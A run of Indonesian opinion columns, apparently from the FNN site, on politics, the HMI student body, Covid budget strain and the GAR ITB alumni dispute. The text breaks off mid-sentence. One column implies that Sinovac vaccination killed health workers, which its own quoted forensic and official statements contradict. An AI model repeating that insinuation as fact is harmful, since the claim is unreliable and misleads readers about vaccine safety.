InsyaAllah, sebelum masuk Istana pun Ente bisa atasi. Nah, ini yang perlu Ente katakan dalam bentuk kompetensi kerja. Dan kompetensi pikir. Menonjolkan “bi-iznillah” adalah representasi isi kepala dan isi hati yang paralel dalam kerundukan. Orang lain menyebutnya “silence is golden”. Ada orang yang isi kepalanya entah di mana dan isi hatinya entah terbuat dari apa. Tapi, dengan bangga menjajakan limbah karatan besi lapuk yang dibawanya keluar-masuk kampung, dan dia katakan itu emas. Hebatnya, orang-orang goblok masih belum merasa tertipu. Mereka terus saja mengatakan limbah besi karatan itu emas yang akan membawa Indonesia menjadi negara hebat dan bangsa yang dahsyat. Dan mereka masih akan membuzzerkan itu dengan cara menyerang kompetensi orang lain. Bahayanya, mereka akan berusaha melanggengkan limbah besi karatan itu melalui upaya pendinastian. Sambil berusaha menjelekkan di depan publik kompetensi kerja dan pikir yang bertaraf logam mulia. Sebaliknya, mereka setiap saat akan menggosok limbah besi karatan sampai akhirnya semua orang tersenyum. Karena kebodohan yang tak masuk akal. Jadi, sudah sangat tepat ketika Ente, Pak Gub, menyematkan keberhasilan mempercepat surut banjir kemarin itu sebagai “takdir Tuhan” dan kerja keras semua staf Ente. Bukan karena kompetensi Ente. Itu pertanda Ente mengerti bahwa permata tak mungkin tertutupi oleh kotoran yang keluar dari pikiran kotor. Bagaimanapun juga, kompetensi adalah lawan positif dari inkompetensi alias ketidakbecusan. Perbedaan keduanya sangat kontras. Dan cepat ketahuan.[] Penulis adalah Wartawan Senior FNN.co.id.

Banyak KIPI Akibat Vaksin Sinovac, Pemerintah Masih Berkilah

by Mochamad Toha Surabaya, FNN - Ada pernyataan menarik dan mungkin ironis sekali dengan “fakta” di lapangan terkait dengan angka kematian tenaga kesehatan atau nakes dari Presiden Joko Widodo akibat COVID-19 yang menurun berkat adanya penggencaran vaksin. “Dari angka-angka yang kita lihat di Jawa Tengah kemarin yang sudah disuntik vaksin, itu kelihatan sekali drop-nya angka kematian untuk nakes, drop sekali,” ujarnya dalam akun YouTube Sekretariat Presiden, Sabtu (20/2/2021). Menurut Presiden, pada vaksinasi tahap 1 yang sudah berlangsung sejak Rabu, 13 Januari 2021, penerima hanyalah nakes. Pasalnya, kelompok inilah yang memiliki risiko tertular paling tinggi dari interaksi langsung dengan pasien Covid-19. Pemilihan kelompok penerima vaksin ini bukan dilakukan sembarangan. Pada tahap pertama, vaksin (itu) diberikan pada orang-orang dengan mobilitas dan interaksi yang tinggi. Dengan harapan, kekebalan imunitas kelompok bisa dimulai dari kelompok masyarakat ini. “Pendekatan kita adalah herd immunity, (yaitu) pendekatan klaster kelompok-kelompok yang memiliki mobilitas tinggi dan interaksi tinggi. Bukan karena yang lain tidak penting, tapi kita ingin dapatkan kekebalan komunal yang maksimal,” tambah Presiden Jokowi. Benarkah pernyataan Presiden Jokowi tersebut? Coba kita lihat bersama faktanya! Vaksinasi tahap 1 dimulai pada Rabu, 13 Januari 2021, diawali oleh Jokowi bersama beberapa pejabat lainnya yang disaksikan oleh rakyat melalui televisi. Esoknya, Kamis, 14 Januari 2021, barulah giliran para nakes di berbagai daerah di Indonesia. Termasuk salah satu diantaranya di Kota Palembang, Sumatera Selatan. Dokter JF ikut dalam tahap 1 tersebut. Jum’at pagi (15/1/2021), dokter berusia 48 tahun itu ditemukan meninggal di pelataran parkir sebuah mini market. Prof. Yuwono menyebut, korban meninggal di dalam mobil. Korban tak punya comorbid dan tidak memiliki riwayat dirawat di rumah sakit. Dokter forensik RS M. Hasan Bhayangkara Palembang Indra Nasution mengatakan, tim forensik menemukan bintik pendarahan yang disebabkan kekurangan oksigen di daerah mata, wajah, tangan, dan dada. Temuan itu menyimpulkan dugaan penyebab kematiannya. “Diduga meninggal karena sakit jantung,” ungkap Indra. “Benar berdasarkan laporan yang bersangkutan baru saja divaksin, namun vaksin tidak ada hubungan dengan penyebab kematian,” tegasnya. Kasi Pengendalian dan Pencegahan Penyakit Menular, Dinas Kesehatan Kota Palembang, Yudhi Setiawan mengatakan, penyebab Dokter JF meninggal dunia bukan karena vaksin Covid-19, melainkan kekurangan oksigen. Menurut akademisi dan peneliti dari Lembaga Ahlina Institute dr. Tifauzia Tyassuma, kasus serupa bakal mewarnai 2021. “Kejadian seperti ini akan mewarnai hari-hari di tahun 2021. Kejadian Ikutan Pasca Imunisasi (KIPI) akan dicatat dan dilaporkan,” katanya. “Penerima vaksin yang menjadi korban ini akan dicatat dan dilaporkan, dan yang meninggal akan dikubur,” lanjutnya. Pemerintah nantinya akan sibuk mengklarifikasi demi meyakinkan masyarakat bahwa penyebab kematian itu bukan karena vaksin Covid-19. Dan, klarifikasi dari Pemerintah dan para ProVaks hardcore akan bilang bahwa korban (itu) meninggal bukan karena vaksinasi, tetapi karena jantung berhenti berdetak, paru tak mampu mengambil nafas, dan batang otak berhenti bekerja. “Pasti bukan karena Vaksin. Apalagi Vaksin China yang jelas-jelas sangat aman,” sindirnya. Yang membuat Dokter Tifa gusar sejak awal, mengapa para nakes itu diberi jatah Sinovac? Padahal apa susahnya memesan 3 juta botol dari merk lain dengan kualitas lebih bagus. Vaksin Virus Corona Covid-19 kembali “makan korban”. Kali ini yang menjadi korban DR. Eha Soemantri SKM, MKes, Bendahara Perhimpunan Sarjana dan Profesional Kesehatan Masyarakat (Persakmi) Sulawesi Selatan. Eha meninggal di ICU RS Wahidin Sudiro Husodo, Makassar. Setelah shalat subuh. Kabar beredar, sebelumnya Eha dirawat karena terinfeksi Covid-19. Eha sendiri sebelumnya sudah divaksin. Namanya masuk dalam penerima vaksin pertama di Sulsel. Bersama beberapa pejabat Pemprov Sulsel dan Forkopimda di Sulsel. Pada 28 Januari 2021, Eha menerima vaksinasi tahap dua di RSKD Dadi. Eha juga sempat membagikan testimoni terkait vaksinasi, setelah divaksin beberapa waktu lalu. Eha mengimbau masyarakat untuk tidak takut divaksinasi. “Saya telah mendapatkan suntikan vaksin pada tanggal 14 Januari setelah pencanangan vaksinasi Covid-19 oleh pak Gubernur,” ujarnya dalam video testimoni tersebut. “Alhamdulillah, setelah divaksin saya tidak mengalami keluhan apa-apa. Ini salah satu bukti yang menunjukkan vaksin Covid-19 aman. Kepada masyarakat, mari kita mensukseskan pemberian vaksin ini, sebagai ikhtiar kita agar terlindungi dari virus Covid-19,” ujarnya. Tapi, pada Jumat (19/2/2021) pagi, Eha dinyatakan meninggal dunia di RS Wahidin Sudiro Husodo, Kota Makassar. Yang dialami Eha sudah seharusnya dilakukan investigasi karena peristiwa tersebut termasuk dalam kategori KIPI Serius. Sebelumnya, KIPI Serius lainnya dialami nakes RSUD Ngudi Waluyo, Kecamatan Wlingi, Kabupaten Blitar, Erny Kusuma Sukma Dewi (33), yang meninggal setelah disuntik vaksin Covid-19, pada Minggu, 14 Februari 2021. Nakes Erny menjalani vaksinasi tahap pertama pada Kamis, 28 Januari lalu. Sebelum disuntik vaksin Sinovac, ia juga menjalani screening seperti yang lain. Erny yang sehari-hari bekerja di ruang isolasi pasien positif RSUD Ngudi Waluyo, dinyatakan sehat. Yang bersangkutan tidak memiliki penyakit penyerta. Suhu tubuh juga normal. “Dia lolos screening,” kata Direktur RSUD Ngudi Waluyo, Endah Woro Utami, Minggu (21/2/2021). Sembilan hari setelah vaksinasi (tahap pertama), Erny tiba-tiba mengalami gejala sakit. Tubuhnya panas. Juga, muncul sesak yang itu membuat yang bersangkutan langsung dilarikan ke rumah sakit. “Saat di swab ternyata positif (Covid-19),” ungkap Woro, seperti dilansir iNews.id, Minggu (21/2/2021). Kabar terbaru, drg. Bernadi Into. Sp.Prost, meninggal dunia Senin, 22 Februari 2021 karena Covid-19. Padahal pada Rabu, 27 Januari 2021 CEO PT Mustika Keluarga Sejahtera, pemilik RS Mustika Medika, Bekasi, posting foto di medsosnya sedang divaksin. Kematian Tertinggi Kematian petugas medis dan kesehatan (nakes) di Indonesia bertambah dan disebut menjadi yang tertinggi di Asia dan nomor tiga terbesar di seluruh dunia. Menurut Dr Adib Khumaidi SpOT dari Tim Mitigasi IDI, ini berdasarkan perbandingan statistik testing dan populasi. Tim Mitigasi IDI mengumumkan pembaruan data tenaga medis yang wafat akibat Covid-19 sepanjang pandemi di Indonesia berlangsung mulai Maret 2020 hingga pertengahan Januari 2021, telah mencapai total 647 orang. Data ini dirangkum oleh Tim Mitigasi IDI dari Persatuan Dokter Gigi Indonesia (PDGI), Persatuan Perawat Nasional Indonesia (PPNI), Ikatan Bidan Indonesia (IBI), Persatuan Ahli Teknologi Laboratorium Medik Indonesidia (Patelki), dan Ikatan Apoteker Indonesia (IAI). Adapun dari total 647 nakes yang wafat akibat terinfeksi Covid-19 ini terdiri dari 289 dokter (16 guru besar), 27 dokter gigi (3 guru besar), 221 perawat, 84 bidan, 11 apoteker, 15 tenaga laboratorium medik. Sementara itu, dokter yang wafat tersebut terdiri dari 161 dokter umum (4 guru besar), dan 123 dokter spesialis (12 guru besar), serta 5 residen. Di mana keseluruhannya berasal dari 26 IDI wilayah provinsi dan 116 IDI cabang kota/kabupaten. Berdasarkan data provinsi: Jawa Timur: 56 dokter, 6 dokter gigi, 89 perawat, 4 tenaga laboratorium (lab) medik, 33 bidan; DKI Jakarta: 43 dokter, 10 dokter gigi, 25 perawat, 2 apoteker, 3 tenaga lab medik, 7 bidan; Jawa Tengah: 41 dokter, 2 dokter gigi, 27 perawat, 3 tenaga lab medik, 2 bidan; Jawa Barat: 33 dokter, 4 dokter gigi, 27 perawat, 6 apoteker, 1 tenaga lab medik, 13 bidan Sumatra Utara: 26 dokter, 1 dokter gigi, 3 perawat, 9 bidan; Sulawesi Selatan: 18 dokter, 7 perawat, 4 bidan Banten : 12 dokter, 2 perawat, 4 bidan; Bali: 6 dokter, 1 perawat, 1 tenaga lab medik; DI Aceh: 6 dokter, 2 perawat, 1 tenaga lab medik, 1 bidan; Kalimantan Timur: 6 dokter dan 4 perawat; DI Jogjakarta: 6 dokter, 2 perawat, 3 bidan; Riau: 6 dokter, 2 perawat, 1 bidan; Kalimantan Selatan: 5 dokter, 1 dokter gigi, dan 6 perawat; Sulawesi Utara: 5 dokter, 1 perawat, 1 bidan; Sumatra Selatan: 4 dokter, 1 dokter gigi, 5 perawat; Kepulauan Riau: 3 dokter dan 2 perawat, Nusa Tenggara Barat: 2 dokter, 1 perawat, 1 tenaga lab medik, 1 bidan; Bengkulu: 2 dokter, 2 bidan; Sumatra Barat: 1 dokter, 1 dokter gigi, dan 2 perawat Kalimantan Tengah: 1 dokter, 2 perawat, 1 apoteker, 2 bidan; Lampung: 1 dokter dan 2 perawat Maluku Utara : 1 dokter dan 1 perawat Sulawesi Tenggara: 1 dokter, 2 dokter gigi, 1 perawat; Sulawesi Tengah: 1 dokter, 1 perawat; Papua Barat: 1 dokter Bangka Belitung: 1 dokter; Papua: 2 perawat, 1 bidan; Nusa Tenggara Timur: 1 perawat; Kalimantan Barat: 1 perawat, 1 apoteker, 1 tenaga lab medik; Jambi: 1 apoteker; DPLN (Daerah Penugasan Luar Negeri) Kuwait 2 perawat, 1 dokter masih dalam konfirmasi verifikasi. Tingginya kematian nakes ini merupakan salah satu dampak dari akumulasi peningkatan aktivitas dan mobilitas yang terjadi belakangan ini. “Meski angka positif Covid-19 sudah lebih dari satu juta, namun Indonesia belum memasuki puncak pandemi,” kata Adib. Kembali ke pernyataan Presiden Jokowi di atas, jadi di mana letak terjadinya penurunan angka kematian nakes? Faktanya: vaksinasi dimulai Kamis, 14 Januari 2021. Jum’at (15/1/2021), dr. JF meninggal di Palembang. Minggu (14/2/ 2021) Erny Kusuma Sukma Dewi meninggal di Wlingi. Jum’at (19/2/2021), DR. Eha Soemantri SKM, MKes juga meninggal di Makassar. Senin, 22 Februari 2021, drg. Bernadi Into. Sp.Prost. Penulis adalah Wartawan Senior FNN.co.id.

Tergerusnya Modal Sosial Kader HMI di Usia 74 Tahun.

by Pramuhita Aditya Jakarta FNN - Pada 5 Februari kemarin, Himpunan Mahasiswa Islam (HMI) memperingati Milad ke-74 tahun. Tentu saja di usia 74 tahun, bagi HMI bukan lagi yang muda. Namun HMI terus dan terus saja mengalami pergolakan politik yang melintasi zaman. Dinamika konflik yang terus berkepanjangan itu memporak-porandakan internal pengurus yang tak terkendali. Momentum proses pembelajaran soal mengkaji isu situasi nasional dan mancanegara dilewatkan begitu saja dalam bidang bidang. Kenyataan ini ditambah lagi dengan tergerusnya modal sosial antar sesama kader, yang bisa dipengaruhi kapanpun dan oleh siapapun. Situasi ini menjadi tantangan terberat untuk perjalanan HMI memasuki era for point zero (4.0) sekarang dan mendatang. Menariknya, tema yang diangkat saat milad ke 74 itu “mengokohkan kometmen kebangsaan dan keindonesiaan”. Beragam opini yang tampil membelah reaski kader ke dalam kubu pro dan kontra secara masif datang silih berganti. Bahkan tanpa berkesudahan. Kenyataan itu merupakan dampak dari konflik yang masuk ke dalam lingkup internal perkaderan. Secara historis, bisa kita lihat kembali bagaimana tujuan HMI hadir? Salah satunya tentang komitmen HMI untuk mengangkat derajat umat islam dan mempertahankan kemerdekaan Negara Republik Indonesia. Untuk itu, perlunya mengoptimalkan tujuan dan komitmen kehadiran HMI tersebut. Bukan sekedar hanya memelihara komitmen yang telah dibuat oleh pendiri HMI. Sekali lagi perlu mengoptimalkan. Bukan sekedar memelihara kometmen yang telah dibuat oleh pendiri HMI. Dalam kenyataan asasinya, bahwa HMI adalah organisasi yang memiliki peran aktif dalam denyut nadi dan gerak langkah pembangunan nasional. Sayangnya, belakangan ini HMI lebih banyak menyita waktu untuk menyelesaikan persoalan-persoalan internal memata. Seperti layaknya organisasi yang saja baru lahir kemarin sore. Sebagai organisasi perkaderan yang memiliki tujuan perjuangan, kiprah HMI sementinya diutamakan untuk melihat tantangan persoalan pembangunan ke depan. Menjadi kewajiban gerak serta langkah kader-kader HMI dalam mengejawantahkan tujuan-tujuan HMI. Untuk itu, perlu diingat kembali tentang independensi HMI yang menurut pengamatan penulis ini mulai hilang di dalam jiwa kader HMI. Bahwa independensi HMI adalah salah satu moral kader HMI yang seharusnya tetap dijunjung tinggi. Independensi HMI menjadi sesuatu yang utuh. Sesuatu yang original, sehingga HMI memiliki posisi tawar untuk selalu berkontribusi dalam pembangunan nasional. HMI tidak dibawa dan diseret-seret ke dalam kepentingan politik pragmatisme. Itulah sejatinya jati diri HMI. Potret tergerusnya modal sosial itu cukup kompleks. Meramba seperti jamur yang tumbuh subur di musim hujan. Berdampak pada kekacauan sistem nilai dan kepercayaan dalam diri kader. Sistem nilai yang hanya bertumpu pada pragmatisme. Suka atau tidak suka, itulah yang terjadi saat ini. Padahal, bukan untuk kepentingan pragmatisme itu HMI lahir. HMI lahir untuk ke-Islaman dan ke-Idonesiaan. Jauh sebelumnya telah didesaign khusus oleh aktor-aktor intelektual HMI, dan itu diajarkan oleh para master HMI di ruang ruang basic training atau Latihan Kader (LK) Satu yang dibalut dengan lima kualitas insan cita HMI sebagai pintu masuk awal berHMI. Yaitu, kkualitas akademis, kualitas pencipta, kualitas pengabdi, kualitas bertanggung jawab atas terwujudnya masyarakat adil makmur dan kualitas bernafaskan Islam”. Subhanallah, betapa sangat mulianya para pendiri dan senior HMI yang telah menyiapkan kader-kader HMI dengan “lima kualitas insan cita HMI” tersebut. Bagi para pendiri dan senior HMI yang telah mendahului kita menghadap robbina, semoga Allah Subhaanahu Wata’ala selalu merahamati para pendiri dan senior HMI dengan rahmat-Nya tidak terbatas itu di dalam kuburnya. Belum cukup hanya di LK satu saja, jenjang khusus perkaderan di HMI ini kalau diibaratkan semacam kuliah, banyak yang telah lulus S-3 . Tentu pemahaman yang utuh tentang bagaimana insan yang hanief ini memihak kepada yang benar secara independensi. Memihak yang benar itu memihak kepada perintah Al-qur’an dan hadist, yang dimana Al-qur’an menyampaikan kepada sesuatu yang haq. Keberanan berdasarkan Al-qur’an dan Hadits itulah yang perlu diperjuangkan, dalam konteks dinamika HMI tentang Ummat dan bangsa. Namun sayang seribu kali sayang. Lembaran desaign yang baik dan mulia itu tinggal bungkusnya saja. Isinya telah lenyap dimakan rayap. dan entah kemana jejaknnya. Celakanya lalgi, modal sosial yang tergerus tersebut, juga mengacaukan komitmen sosial. Sebaliknya, berpacu memproduksi dan melahirkan komitmen material.Bahkan terlihat menjadi semakin terdepan dalam menghancurkan kekuatan silaturahmi yang awalnya mampu menghangatkan hubungan sosial antar kader HMI dan lainnya. Hubungan antar pribadi sesama kader HMI, sesama kelompok berubah menjadi hubungan yang hanya berbasis yang di ukur secara finansial semata. Itulah konsekuensi nyata dari berlangsungnya perkaderan hari ini. Tentu ukuran-ukuran material menjadi patokan untuk menilai. Kesuksesan dan kegagalanpun diukur berdasarkan isi kantong setiap kader yang berkontestasi, mulai pada level bawah hingga Pusat. Sepatutnya, setiap kader HMI mampu menempatkan dirinya secara proporsional, sehingga harmonisasi hidup sosial antar kader berlangsung dalam suasana sama-sama menghormati dan menghargai. Modal sosial menjadi sesuatu nilai yang sangat berharga jika setiap pribadi mampu memberi, mampu peduli dan mampu saling memaafkan bila ada perbedaan. Peringatan yang disampaikan Rasullaah Sallaahu Alaihi Wasallam, “aku diutus untuk menyempurnakan akhlaq”. Demikian Hadist ini sangat erat kaitannya dengan independensi HMI yang semestinya disimpan dalam jiwa setiap kader. mampu untuk dimplementasikan dalam kehidupan sosial, sehingga senantiasa mendapatkan ridha dari Allah Subhaanhu Wata’ala. Menjelang kongres yang akan berlangsung, beberapa pekan ke depan. Mari sama-sama kita menata rumah hijau ini dengan niat yang tulus. Niat yang tanpa adanya hujatan serta adu-domba yang berlebihan dinatara sesama kita. Menata kembali konsistensi independensi yang adaptif sesuai dengan visi HMI. Mari menata konsistensi independensi adaptif yang sesuai dengan tuntutan zaman yang serba digital ini, serta excellen untuk kemajuan rumah kita bersama. Seperti yang pernah ditawarkan oleh pendiri HMI Almarhum Lafran Pane sebagai kemerdekaan hati. Semoga Allah Subhaanahu Wata’ala mengampuni segala kasalahannya, dan kemuliaannya mendirikan HMI menjadi pintu yang terbuka lebar untuk menggapai syurganya Allah. Penulis adalah Bakal Calon Kandidat Ketua Umum PB HMI.

Dana Covid Pemerintah Mulai Sesak Nafas?

by M. Rizal Fadillah Bandung FNN – Undang-Undang Nomor 2 tahun 2020, yang namanya sangat panjang, dan susah dihafal itu sudah memberi keleluasaan penggunaan dana Anggaran Pendapatn dan Belanja Negara (APBN) untuk penanganan pandemi Covid 19. Saking leluasanya, maka Pasal 27 memberikan an membebaskan para pembuat kebijakan keuangan yang terkait Covid-19 dari tuntutan hukum. Dampak positifnya adalah kebijakan keuangan yang terkait penanggulangan pandemi menjadi prioritas. Sedangkan negatifnya bisa terjadi pemborosan, kebocoran, dan pengelolaan yang tidak becus. Anggaran sangat mudah untuk dibesar-besarkan dari yang sebenarnya. Mark up anggaran bisa terjadi dengan sangat gampang, seperti yang terjadi pada Bantuan Sosial (Bansos) yang menyeret mantan Menteri Sosial Juliari Peter Batubara dan anak Pak Lurah. Indonesia menurut Laporan Bank Dunia termasuk 10 negara berpendapatan kecil menengah, dengan jumlah hutang Luar Negeri (LN) yang besar. Sampai akhir Desember 2020, besaran hutang kita telah mencapai Rp. 6.074 triliun. Sementara total hutang baru Pemerintah tahun ini akan mencapai Rp. 1.439 triliun, akibat pandemi Covid 19. Pemerintah sendiri mulai berjanji dan teriak untuk waspada. Hutang yang tidak terkelola dengan baik akan menjadi back fire. Tragisnya lagu, hutang dikorupsi oleh orang-orang yang berlindung di sekeliling istana. Padahal pandemi Covid-19 yang menjadi alasan keleluasaan penggunaan dan peningkatan hutang kini sudah terasa menjadi back fire. Alokasi dana penanganan Covid 19, juga mulai tersendat. Jumlah pasien Covid yang semakin terus meningkat, dan mencapai angka di atas satu juta orang, dengan tingkat keterisian Rumah Sakit akumulatif 70%, telah melampaui angka batas aman yang ditetapkan oleh WHO, yaitu maksimal 60%. Menurut Asosiasi Rumah Sakit (ARSSI) pemerintah mulai tidak mampu membayar klaim biaya pasien yang ditaksir sebesar Rp. 1 triliun lebih. Ketidakmampuan pemerintah untuk membayar Rumah Sakit untuk tiga bulan Oktober, November, dan Desember 2020 cukup menggelisahkan banyak Rumah Sakit. Karena hal ini tentu mempengaruhi cash flow Rumah Sakit tersebut. Jumlah tersebut, belum termasuk Januari dan Februari 2021 nanti. Angla Rp. 1 triliun klaim tersebut tentu bertambah dengan tagihan bulan sebelumnya akibat adanya dispute. Sebagaimana dahulu BPJS yang juga bermasalah dalam pencairan pembayaran kepada Rumah Sakit, kini klaim pembayaran penanganan pasien Covid-19 pun mulai bermasalah. Dana Covid-19 di pemerintah mulai sesak nafas. Pemerintah harus membayar tanggungan triliunan rupiah untuk sebuah Rumah Sakit. Sementara dana pemerintah mulai megap-megap. Sebagai contoh, Rumah Sakit yang hanya mernyediakan 30 bed (tempat tidur) untuk pasien Covid-19, pemerintah telah menunggak untuk tiga bulan sebesar Rp. 10 miliar. Dapat dibayangkan untuk Rumah Sakit yang menyediakan bed jauh daripada itu. Tentu saja tunggakan pemerintah kepada Rumah Sakit jauh lebih besar lagi dari yang hanya 30 bed. Jika janji untuk waspada tak terealisasi, dan pemerintah abai terhadap penyelesaian tunggakan kepada Rumah Sakit, maka bukan saja berpengaruhi terhadap pelayanan pasien Covid 19. Tetapi juga akan dapat mengganggu keadaan Rumah Sakit itu sendiri. Bukan hal yang mustahil beberapa Rumah Sakit swasta dapat ambruk akibat Covid-19 ini. Pemerintah harus serius memperhatikan keadaan ini. Semoga saja dalam kaitan penanganan pandemi Covid 19, pemerintah tidak sedang berada di ruang ICU dan isolasi. Sehingga butuh ventilator untuk menstabilkan pernafasannya. Nafas yang semakin sesak dan tersendat. Wajar saja, kalau pemerintah berharap bisa mendapatkan dana wakaf dari Umat Islam. Namun sayangnya, Umat Islam keburu sudah tidak percaya dengan pemerintah. Sikap Umat Islam yang tidak mau percaya, karena pemerintah selalu berubah-ubah. Pagi bisa menjadi tempe, dan sore berubah menjadi dele. Ditambah dengan sikap Islamphobia. Untuk itu, kiranya penting bagi pemerintah untuk untuk meningkatkan keberhasilan penanganan pandemi Covid 19, khususnya berkaitan dengan pendanaan, antara lain : Pertama, meningkatkan alokasi anggaran. Rencana anggaran sektor kesehatan yang akan dialokasikan ternyata masih terkecil, yaitu hanya Rp. 104,7 triliun, dibandingkan untuk sektor perlindungan sosial Rp. 150,96 triliun, pariwisata, ICT, ketahanan pangan Rp. 141,36 triliun, dan korporasi & Usaha Menengah Kecil dan Mikro (UMKM) sebesar Rp. 156,66 triliun. Kedua, audit ketat anggaran untuk penggulangan Covid-19. Jangan sampai dana untuk menggulangi Covid-19 menjadi obyek perlombaan korupsi. Kasus korupsi dana bansos menjadi bukti tentang rawannya dana-dana atas nama kondisi darurat, sangatlah untuk disalahgunakan. Pandemi Covid-19 telah ikut membahagiakan dan memakmurkan para perampok. Ketiga, memprioritaskan pengamanan pembayaran untuk sarana kesehatan, termasuk tunggakan kepada Rumah Sakit Swasta. Tidak boleh ada tunggakan klaim pembayaran kepada Rumah Sakit, baik Swasta maupun pemerintah. Sebab hal ini berbahaya bagi layanan pasien Covid-19, termasuk untuk keberlangsungan hidup Rumah Sakit. Covid-19 tak boleh membunuh semua. Hutang yang bengkak dan kebocoran yang mengejutkan adalah sinyal lampu kuning menuju merah. Bahwa keuangan keuangan pemerintah dalam bahaya. Gambaran kemampuan pemerintah mengelola potensi dan keuangan negara, berada pada titik yang sangat rendah. Semoga Pemerintah bukan pasien yang harus segera masuk ruang IGD, dan memerlukan alat bantu pernafasan. Pemerintah jangan seperti dana Covid-19 yang mengalami sesak nafas berat. Janji Pemerintah untuk waspada jangan sampai menjadi tagihan baru rakyat yang mulai tak percaya dan bosan dengan prilaku pemerintah yang banyak janji. Namun banyak juga inkar janji, terutama janji kampanye. Penulis adalah Pemerhati Politik dan Kebangsaan.

GAR-Alumni ITB dalam Politik Hegemoni

by Radhar Tribaskoro Jakarta, FNN - Gerakan Anti-Radikalisme Alumni ITB (GAR) tidak memusuhi Din Syamsudin saja. Selain Din, GAR juga menyerang Yayasan Pembina Masjid Salman (YPM Salman), Ibu Nurhayati Subakat, dan Prof. Dr. Brian Yuliarto. Objek serangan GAR itu menjelaskan apa motif dan tujuan tersembunyi aksi-aksi GAR. Siapa Objek Serangan GAR? Sebuah perkenalan singkat barangkali perlu untuk mengetahui lebih jauh figur-figur yang diserang oleh GAR ITB. Banyak orang mungkin tidak asing kepada Prof.Dr. DIn Syamsudin. Din, begitu biasanya ia dipanggil teman-temannya, sepertinya dilahirkan sebagai pemimpin. Umur 12 tahun ia telah menjadi Ketua Ikatan Pelajar NU di Sumbawa. Sepuluh tahun kemudian Din menjadi Ketua Senat Mahasiswa di IAIN Jakarta. Din menyelesaikan studi S2 dan S3nya di Amerika Serikat sembari menjabat Ketua PP Pemuda Muhammadiyah. Pengalaman dan kepemimpinannya yang sangat mumpuni di organisasi sosial keagamaan menyebabkan ia direkrut menjadi Ketua Departemen Litbang Golkar, ketika usianya baru 35 tahun. Lima tahun kemudian ia diangkat menjadi Dirjen Penempatan Tenaga Kerja di Depnaker RI. Karir Din semakin menanjak di tingkat nasional dan internasional. Ia adalah presiden Asian Committe on Religion for Peace (ACRP), World Conference for Religion for Peace (WCRP), World Peace Forum (WPF) dan Center for Dialogue and Cooperation Among Civilizations (CDCC). Semua di atas belum menyebut apa yang telah orang ketahui tentang Din: ia adalah Ketua Umum Pengurus Pusat Muhammadiyah, organisasi Islam paling terkemuka di Indonesia, untuk dua periode. Ia juga pernah menjadi Ketua Umum MUI sebelum digantikan oleh Ma’ruf Amin. Dalam hemat saya tidak ada orang lain secemerlang Din yang berkarir di hampir semua ranah: organisasi sosial keagamaan, organisasi politik maupun pemerintahan, di tingkat nasional maupun internasional. Ia adalah salah satu puncak prestasi Indonesia muslim yang saleh. Sementara itu Yayasan Pembina Masjid Salman ITB (YPM Salman) adalah pengelola Masjid Salman yang legendaris. Orang Bandung sangat mengenal Masjid Salman, sebuah mesjid di hadapan kampus ITB di jalan Ganesha. Masjid Salman terkenal karena arsitekturnya yang unik (tidak ada sokoguru tengah) dan pendidikan kadernya yang hebat. Masjid itu berdiri atas partisipasi seluruh civitas academica ITB. Pada tahun 1964 Bung Karno merestui pendiriannya, sekaligus memberinya nama Salman. Bunga Karno pula yang menghibahkan tanahnya dan menyetujui desain arsitekturnya. Masjid Salman masih harus menunggu 8 tahun untuk diresmikan. Masjid Salaman adalah masjid kampus pertama yang didirikan di Indonesia. Sejak 1972 reputasi Masjid Salman terus berkembang. Masjid Salman tidak dikenal sebagai tempat sholat yang teduh, tenang dan nyaman saja, Masjid Salman adalah pusat pergerakan pikiran maupun amal ibadah. Hal itu dilatarbelakangi oleh peran Masjid Salman dalam menciptakan kader yang hebat. Pelopornya adalah Imaduddin Abdurrahman. Bang Imad, biasa beliau dipanggil, sangat dikenal karena merintis Latihan Mujahid Dakwah (LMD) dan kuliah tauhidnya. LMD Salman telah mencetak ribuan da'í dan pemimpin selain menjadi model pelatihan bagi seluruh aktivis masjid di kampus maupun luar kampus. Dosen lulusan Amerika ini juga membuka mata mahasiswa ITB akan arti penting sains dan ilmu pengetahuan dalam Islam. Ia mengajak mahasiswa-mahasiswa binaannya untuk mewujudkan Islam secara nyata dalam kehidupan, melalui pengembangan sains dan ilmu pengetahuan. Pemikiran Bang Imad itu tentu saja beresonansi kuat di kampus sains dan teknologi ITB. Katanya, sains bukan saja mendorong orang mengenali hukum alam, terlebih dari itu sains mendidik orang untuk jujur dan berani. Bang Imad terkenal atas ucapannya bahwa "Amerika lebih islami daripada Indonesia." Dari kelas-kelas tauhidnya lahir banyak tokoh bangsa, diantaranya Hatta Rajasa dan Alhilal Hamdi. Di luar mereka ribuan kader Salman telah berkontribusi di lapangan yang sangat luas, mulai dari penelitian sains nuklir, politik sampai penggerak UKM di akar rumput. Alhasil Masjid Salman adalah masjid model gerakan dakwah kampus di Indonesia. Nurhayati Subakat dalam pada itu adalah pemilik brand Wardah, produk komestik nasional terbesar saat ini. Seperti halnya Din Syamsudin, ibu Nur merangkaki karirnya dari bawah. Ia lulusan Departemen Farmasi ITB, dan atas prestasinya pada tahun 2019 lalu ITB menganugerahkan beliau gelar Doktor Kehormatan. Ibu Nur memulai bisnis kosmetik halalnya ketika usia 35 tahun dengan memproduksi shampoo. Ia ketika itu hanya ditemani seorang pembantu rumah tangga. Bisnisnya sekarang telah jauh berkembang. Selain Wardah, perusahaan yang ia dirikan, PT. Paragon Technology and Innovation, juga mengembangkan merk Putri, Make-Over, Emina dan IX. Dengan Paragon, Ibu Nur sekarang telah menghidupi lebih dari 12.000 pegawai, menguasai 30% pangsa pasar kosmetik dalam negeri dengan 95 juta unit dari 1000an item produk per tahun. Seorang muslimah yang taat, Ibu Nurhayati mengatakan bahwa motivasinya membangun bisinisnya adalah untuk "menolong orang". Ia membesarkan perusahaan agar bisa mempekerjakan orang lebih banyak. Ibu Nur menunjukkan kesalehannya dengan selalu ingat Tuhan. Ketika membangun strategi perusahaannya ia menambahkan P kelima, Pertolongan Tuhan, ke dalam formula marketing mix 4P yang terkenal itu. Keyakinan kepada agama menjadikan Ibu Nur seorang dermawan, ia menyumbang Rp.40 milyar untuk Covid-19 dan RP. 52 milyar untuk Dana Abadi ITB. "Hidup adalah untuk menyebarkan kebaikan," katanya. Adapun Prof. Dr. Brian Yuliarto adalah dosen muda ITB yang sangat berprestasi. Meraih gelar profesor pada usia 43 tahun, Brian termasuk guru besar termuda di ITB. Brian hanya perlu waktu 6 tahun untuk menamatkan pendidikan S2 dan S3nya di Universitas Tokyo, perguruan tinggi paling terkemuka di Jepang. Ia telah melakukan puluhan penelitian dan menghasilkan puluhan artikel ilmiah yang mengukuhkan dirinya sebagai ilmuwan teknologi nano paling 